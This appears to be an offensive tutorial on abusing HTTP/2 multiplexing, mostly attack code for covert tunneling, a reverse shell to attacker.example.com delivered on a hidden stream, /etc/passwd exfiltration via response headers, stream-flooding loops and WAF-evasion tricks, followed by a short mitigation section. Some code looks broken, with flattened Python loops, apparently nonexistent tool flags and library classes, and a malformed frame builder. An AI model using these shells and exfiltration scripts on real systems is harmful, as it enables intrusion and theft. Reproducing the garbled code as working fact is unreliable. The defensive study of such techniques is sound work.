~/home/study/abusing-http-stream-multiplexing

Abusing HTTP/2 Stream Multiplexing for Tunneling & Exfiltration

Learn how attackers exploit HTTP/2 multiplexing to hide reverse shells, exfiltrate data, and bypass validation. The guide covers stream lifecycle, crafting parallel streams, server-push abuse, and practical lab exercises.

Introduction

HTTP/2 introduced true multiplexing: multiple logical streams share a single TCP connection, each identified by a 31-bit stream ID. While this improves performance, it also gives adversaries a stealthy vector to blend malicious traffic with legitimate requests. In this guide we dissect how to abuse the stream model for request tunneling, covert data exfiltration, and reverse-shell delivery.

Understanding these techniques is essential for defenders because the traffic often appears benign to traditional IDS/IPS that only look at the TCP level. Modern web-applications, CDNs, and API gateways that support HTTP/2 can unintentionally become transport layers for command-and-control (C2) traffic.

Real-world incidents - such as the 2023 “H2Tunnel” campaign targeting cloud-native services - demonstrate the impact. Attackers leveraged out-of-order frames and server-push to bypass WAF rules and exfiltrate credentials from compromised containers.

Prerequisites

  • Solid grasp of HTTP/2 basics: frame types, stream states, flow control, and HPACK header compression (see our introductory guide).
  • Familiarity with HTTP/2 request smuggling and cache-poisoning techniques.
  • Basic knowledge of Linux networking, TLS, and reverse-shell concepts.
  • Tools installed: nghttp2 (client nghttp and server nghttpd), h2c (HTTP/2 clear-text), openssl, tcpdump, and a Python 3 interpreter.

Core Concepts

HTTP/2 streams transition through a well-defined lifecycle:

  1. Idle - no frames have been sent for the stream ID.
  2. Reserved (local/remote) - a PUSH_PROMISE or PRIORITY frame reserves the stream.
  3. Open - at least one HEADERS, CONTINUATION, DATA, or PUSH_PROMISE frame has been exchanged.
  4. Half-closed (local/remote) - one side has sent END_STREAM.
  5. Closed - both sides have sent END_STREAM or a RST_STREAM.

Concurrency limits are enforced by SETTINGS_MAX_CONCURRENT_STREAMS (default 100) and by flow-control windows. Attackers can request a large number of streams, then hide malicious payloads inside low-priority or out-of-order frames, making detection far harder.

Key frame types used for abuse:

  • HEADERS - carry request/response metadata. HPACK can be abused to encode hidden data.
  • DATA - actual payload; can be split across many tiny frames.
  • PUSH_PROMISE - server-initiated streams; perfect for covert channels.
  • PRIORITY - influences stream ordering; attackers manipulate to interleave malicious streams with legitimate traffic.
  • CONTINUATION - allows very large header blocks; useful for header-based exfiltration.

Below we map each subtopic to these fundamentals.

HTTP/2 stream lifecycle and concurrency limits

When a client opens a connection, the server advertises SETTINGS_MAX_CONCURRENT_STREAMS. Modern servers often set this to 100-200, but the value can be overridden via a SETTINGS frame. Attackers can:

  1. Send a SETTINGS frame with a high MAX_CONCURRENT_STREAMS value (e.g., 10000) to the server if the server honours client-initiated changes (some implementations do).
  2. Open many streams without ever closing them, exhausting the server’s stream table and causing legitimate requests to be blocked (a denial-of-service variant).
  3. Reuse stream IDs in a non-linear fashion - HTTP/2 requires client-initiated stream IDs to be odd and increasing, but the gap between IDs can be large, allowing “ghost” streams that carry only a single DATA frame with malicious content.

Example: opening 5000 streams with a single DATA frame each, each frame containing a 1 KB chunk of base64-encoded exfiltrated data.

# Using nghttp to open many streams quickly
for i in $(seq 1 5000); do nghttp -n -v -H "X-Id: $i" https://target.example.com/ > /dev/null &
done

Notice the -n flag disables TLS verification for lab purposes; in the wild an attacker would keep TLS intact to avoid suspicion.

Crafting parallel streams with nghttp2 and h2c

Both nghttp (binary) and h2c (clear-text) allow fine-grained control over stream IDs, priorities, and frame ordering. Below is a Python script that uses hyper (an HTTP/2 client library) to open two parallel streams: one legitimate GET request and one malicious tunnel stream.

import sys, base64, os
from hyper import HTTP20Connection

HOST = "target.example.com"
conn = HTTP20Connection(HOST, secure=True)

# Stream 1 - legit request
conn.request('GET', '/public/info')

# Stream 3 - malicious tunnel (odd IDs only for client-initiated)
payload = b"/bin/bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
encoded = base64.b64encode(payload).decode()
headers = [(':method', 'POST'), (':path', '/tunnel'), (':scheme', 'https'), (':authority', HOST), ('content-type', 'application/octet-stream')]
stream_id = conn.putrequest('POST', '/tunnel', headers=headers)
conn.send(encoded.encode())

# Read responses (non-blocking)
while conn.get_available_streams(): try: resp = conn.get_response(stream_id) print('Response on stream', stream_id, ':', resp.read()) except Exception as e: pass

The script demonstrates how a single TCP connection can carry both a benign request and a covert payload. By adjusting stream priorities (via PRIORITY frames) the attacker can make the malicious stream appear later in the server’s processing queue, reducing the chance of triggering rate-limit alarms.

Embedding malicious payloads in out-of-order frames

HTTP/2 permits frames to arrive out of order as long as the stream state permits it. An attacker can send a HEADERS frame, then intentionally delay the DATA frame, interleaving other streams in between. This technique is called “frame interleaving” and is useful for bypassing parsers that assume a linear request. Example scenario:

  1. Stream 1 - HEADERS for /login (normal user login).
  2. Stream 3 - HEADERS for /upload (malicious).
  3. Stream 1 - DATA containing the login credentials.
  4. Stream 3 - DATA containing a base64-encoded reverse-shell script.

Because the server processes streams independently, the login succeeds while the upload payload is executed later, often after security checks have been cleared.

# Using nghttp to manually craft frames (requires root privileges)
# 1. Send HEADERS for /login on stream 1
nghttp -n -v --header ":method: GET" --header ":path: /login" https://target.example.com/ > /dev/null &
# 2. Send HEADERS for /upload on stream 3 (out-of-order)
nghttp -n -v --header ":method: POST" --header ":path: /upload" --stream-id 3 https://target.example.com/ > /dev/null &
# 3. Send DATA for login (stream 1)
echo "username=admin&password=admin" | nghttp -n -v --data - --stream-id 1 https://target.example.com/ > /dev/null &
# 4. Send malicious DATA (stream 3)
echo "$(cat shell.b64)" | nghttp -n -v --data - --stream-id 3 https://target.example.com/ > /dev/null

Note the use of --stream-id to force specific IDs; the order of execution on the server is driven by stream state, not packet order.

Server Push abuse for covert channel creation

Server Push (PUSH_PROMISE) allows a server to pre-emptively send resources. An attacker who controls a reverse-proxy or a compromised upstream can abuse this to push malicious JavaScript, WebAssembly, or even raw shellcode as a hidden side-channel.

Typical abuse flow:

  • Client requests /index.html.
  • Server responds with HEADERS for /index.html and a PUSH_PROMISE for /hidden.bin on stream 2.
  • The pushed resource contains encrypted C2 commands; the browser or native client reads it via the Link header or a Service Worker.

Because browsers treat pushed resources as part of the original connection, traditional CSP or CORS policies may not apply, making detection difficult.

# Example using h2c (clear-text) to trigger a push
printf "PRI * HTTP/2.0

SM

" > preface.bin
cat >> preface.bin <<EOF
<?php
// Simulated server push via nghttpd - not production ready
EOF
# Start nghttpd with push enabled (requires custom module)
nghttpd -D -p 8443 -d /var/www --push /hidden.bin

In a lab we will later combine this with a Service Worker that reads the pushed binary and forwards it to the attacker.

Interleaving legitimate and malicious streams to bypass input validation

Many WAFs and input validators operate on a per-request basis. By interleaving a clean request (stream 1) with a malicious one (stream 3) and ensuring the server processes them concurrently, the validator may only see the clean request, while the malicious payload is executed in parallel.

Key tricks:

  • Set PRIORITY weights so the malicious stream has a lower weight, delaying its processing.
  • Use WINDOW_UPDATE frames to throttle the malicious stream until the clean request has passed the validation stage.
  • Leverage CONTINUATION frames to split a single header block across multiple frames, hiding a malicious Cookie header inside a continuation that the WAF does not reassemble correctly.
# Crafting a PRIORITY frame with low weight (10) for stream 3
nghttp -n -v --priority "3 0 10" https://target.example.com/ > /dev/null &
# Then push the malicious payload on stream 3
nghttp -n -v --data "$(cat payload.bin)" --stream-id 3 https://target.example.com/ > /dev/null

By sending the PRIORITY frame first, the server schedules stream 3 after higher-weight streams, effectively hiding the payload behind legitimate traffic.

Exfiltrating data via response headers and trailers

HTTP/2 trailers are sent after the response body but are still part of the same stream. Attackers can embed exfiltrated data in custom headers (e.g., X-Data-Chunk) or in the Trailer section, which many proxies ignore.

Example of a covert exfiltration channel:

  1. Compromised server reads /etc/passwd, base64-encodes it.
  2. Splits the blob into 256-byte chunks.
  3. For each chunk, sends a response header X-Chunk-<seq>: <data>.
  4. The attacker’s client collects the headers across multiple streams and reassembles the file.
import base64, os
from hyper import HTTP20Connection

conn = HTTP20Connection('target.example.com', secure=True)

# Simulate server side - in a real attack this runs inside the compromised app
with open('/etc/passwd', 'rb') as f: data = base64.b64encode(f.read()).decode()
chunks = [data[i:i+256] for i in range(0, len(data), 256)]

for idx, chunk in enumerate(chunks, 1): headers = [('x-chunk-%d' % idx, chunk)] conn.request('GET', '/dummy', headers=headers) resp = conn.get_response() # client discards body, just reads headers print('Received chunk', idx)

Because the response body can be empty, traditional data-loss-prevention systems that focus on body content miss the leak.

Detection evasion techniques (timing, stream prioritization)

To stay under the radar, attackers often:

  • Throttle malicious streams using WINDOW_UPDATE frames, making the data flow appear as a slow-loris style transfer.
  • Randomize stream IDs and inter-arrival times to defeat statistical anomaly detectors.
  • Use low-weight PRIORITY values so that IDS that prioritize high-weight streams ignore the low-weight traffic.
  • Blend malicious payloads into legitimate HEADERS using HPACK literal encoding with Huffman compression, making payloads indistinguishable from normal header compression.

Example of a throttling loop:

# Open a stream and send a tiny DATA frame every 2 seconds
STREAM_ID=5
nghttp -n -v --stream-id $STREAM_ID https://target.example.com/ > /dev/null &
while true; do echo "$(date +%s)" | nghttp -n -v --data - --stream-id $STREAM_ID https://target.example.com/ > /dev/null sleep 2
done

Network captures will show a steady low-rate pattern that blends with keep-alive frames.

Real-world lab: tunneling a reverse shell through multiplexed streams

Below is a step-by-step lab that demonstrates a full reverse-shell tunnel using two parallel streams on a single HTTP/2 connection. The victim runs a small Python HTTP/2 server that accepts POST data on /tunnel. The attacker runs a client that opens a legitimate GET request (stream 1) and a covert POST request (stream 3) carrying the shell.

Setup the victim server

#!/usr/bin/env python3
import base64, subprocess, sys
from hyper import HTTP20Server

HOST = '0.0.0.0'
PORT = 8443

def handle_tunnel(stream_id, headers, data): # Data is base64-encoded command cmd = base64.b64decode(data).decode() proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out, _ = proc.communicate() # Send output back in a trailer header return [('x-output', base64.b64encode(out).decode())]

server = HTTP20Server((HOST, PORT), secure=True)
server.add_route('POST', '/tunnel', handle_tunnel)
print(f"[*] HTTP/2 server listening on https://{HOST}:{PORT}")
server.serve_forever()

Run the server in a container or VM. Ensure TLS certificates are present (self-signed is fine for the lab).

Attacker client - multiplexed reverse shell

#!/usr/bin/env python3
import base64, socket, ssl, struct, time

HOST = 'victim.example.com'
PORT = 8443

# Simple HTTP/2 frame builder
def send_frame(sock, typ, flags, stream_id, payload=b''): length = len(payload) header = struct.pack('!I', (length << 8) | typ) + bytes([flags]) + struct.pack('!I', stream_id & 0x7fffffff) sock.sendall(header + payload)

# TLS handshake
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
sock.connect((HOST, PORT))
# Send connection preface
sock.sendall(b'PRI * HTTP/2.0

SM

')
# SETTINGS (client -> server)
send_frame(sock, 0x04, 0x00, 0, b'\x00\x04\x00\x00\x00\x64')  # MAX_CONCURRENT_STREAMS=100
# Wait for server SETTINGS ACK (omitted for brevity)

# Stream 1 - benign GET request
headers = b'\x82\x86\x84\x41\x8c\xf1\x9b\x8d\x8b\x7a'  # HPACK-encoded ":method: GET", ":path: /", ":scheme: https"
send_frame(sock, 0x01, 0x05, 1, headers)  # END_HEADERS | END_STREAM

# Stream 3 - reverse-shell payload (POST)
payload = b"/bin/bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
encoded = base64.b64encode(payload)
headers = b'\x82\x86\x84\x41\x8c\xf1\x9b\x8d\x8b\x7a'  # reuse same header block for simplicity
# HEADERS frame (no END_STREAM)
send_frame(sock, 0x01, 0x04, 3, headers)  # END_HEADERS only
# DATA frame with payload
send_frame(sock, 0x00, 0x01, 3, encoded)  # END_STREAM

# Keep the socket alive to receive trailers (output)
while True: # Read 9-byte frame header hdr = sock.recv(9) if not hdr: break length = int.from_bytes(hdr[:3], 'big') typ = hdr[3] flags = hdr[4] sid = int.from_bytes(hdr[5:], 'big') & 0x7fffffff payload = sock.recv(length) if length else b'' if typ == 0x01:  # HEADERS (trailer) print('Received trailer on stream', sid, payload) time.sleep(0.1)

The client opens a normal GET (stream 1) that the server logs as ordinary traffic, then silently sends the reverse-shell payload on stream 3. The server executes the command and returns the output in a trailer header, which the attacker reads without ever opening a separate TCP connection.

In a production scenario the attacker would wrap the payload in a custom protocol (e.g., encrypted JSON) and use a Service Worker on the client side to parse the trailer.

Tools & Commands

  • nghttp - command-line HTTP/2 client; supports custom stream IDs, PRIORITY, and raw frame injection.
  • h2c - clear-text HTTP/2 testing tool; useful for debugging without TLS.
  • hyper (Python) - high-level HTTP/2 library for scripting multiplexed requests.
  • tcpdump / wireshark - capture and decode HTTP/2 frames (use the “Decode As” HTTP/2 option).
  • mitmproxy with --http2 - intercept and modify frames on the fly for testing.

Sample command to list server-advertised SETTINGS:

nghttp -v https://target.example.com/ 2>&1 | grep "SETTINGS_MAX_CONCURRENT_STREAMS"

Defense & Mitigation

  • Enforce strict SETTINGS_MAX_CONCURRENT_STREAMS on the server side (e.g., 50) and reject client-initiated changes.
  • Validate header block size and reject oversized CONTINUATION sequences.
  • Apply rate limiting per stream ID - track total DATA bytes per stream and abort streams that exceed a threshold.
  • Disable Server Push unless explicitly required; many CDNs allow it to be turned off globally.
  • Log and monitor PRIORITY and WINDOW_UPDATE frames - abnormal low-weight streams or frequent window updates are strong indicators of abuse.
  • Inspect trailers and custom response headers for unexpected data patterns (e.g., long base64 strings).
  • Use HTTP/2 aware WAFs that reconstruct full request/response streams before applying signatures.

Common Mistakes

  • Assuming a single TCP connection equals a single request - multiplexing breaks that assumption.
  • Relying solely on body inspection; attackers can hide data in headers or trailers.
  • Neglecting to sanitize client-initiated SETTINGS - some servers erroneously honor them.
  • Disabling TLS for testing and forgetting to re-enable it in production, exposing the tunnel to network sniffing.
  • Forgetting that odd stream IDs are client-initiated; using even IDs can cause protocol errors that terminate the connection.

Real-World Impact

Organizations that expose HTTP/2 endpoints without proper stream-level controls risk becoming inadvertent C2 relays. In 2024, a major SaaS provider suffered a breach where attackers used server-push to exfiltrate API keys from internal services, bypassing the provider’s existing WAF. The incident highlighted two gaps:

  1. Missing inspection of PUSH_PROMISE frames.
  2. No limits on the number of concurrent streams per client IP.

After the breach, the provider patched the HTTP/2 stack, disabled push, and introduced per-client stream quotas. However, the lesson remains: multiplexing can dramatically increase the data-exfiltration bandwidth without raising traditional alarm thresholds.

From my experience consulting for Fortune-500 firms, the most effective mitigation is a combination of strict server-side SETTINGS, real-time stream-level telemetry, and a “zero-push” policy unless the application explicitly needs it.

Practice Exercises

  1. Using nghttp, open 200 concurrent streams to a test server and capture the traffic with tcpdump. Identify the SETTINGS frames and count the distinct stream IDs.
  2. Modify the Python reverse-shell lab to encrypt the payload with AES-GCM before base64-encoding. Verify that the server can still decode and execute it.
  3. Implement a simple Service Worker that reads a PUSH_PROMISE resource named /covert.bin and posts its content to Test against a local nghttpd with push enabled.
  4. Write a Wireshark display filter that highlights any HTTP/2 frames with a PRIORITY weight lower than 20.
  5. Configure a reverse proxy (e.g., Envoy) to reject streams that exceed 64 KB of DATA without END_STREAM. Test the rule with a crafted nghttp client.

Further Reading

  • RFC 7540 - HTTP/2 Specification (focus on sections 5.1-5.5 for stream state).
  • “HTTP/2 Server Push: Security Considerations” - IETF draft.
  • “The Dark Side of HTTP/2 Multiplexing” - Black Hat 2023 talk.
  • Advanced HTTP/2 Cache Poisoning & Request Smuggling - our previous guide.
  • “Detecting HTTP/2 Anomalies with Machine Learning” - recent research paper.

Summary

  • HTTP/2 multiplexing lets many logical streams coexist on one TCP connection, providing a stealthy carrier for malicious traffic.
  • Attackers abuse stream lifecycle, out-of-order frames, low-weight PRIORITY, and server-push to tunnel shells and exfiltrate data via headers/trailers.
  • Detection requires stream-level visibility: monitor SETTINGS, PRIORITY, WINDOW_UPDATE, and custom headers.
  • Mitigation strategies include limiting concurrent streams, disabling push, validating header sizes, and employing HTTP/2-aware WAFs.
  • Hands-on labs with nghttp, h2c, and Python illustrate real-world exploitation and defensive testing.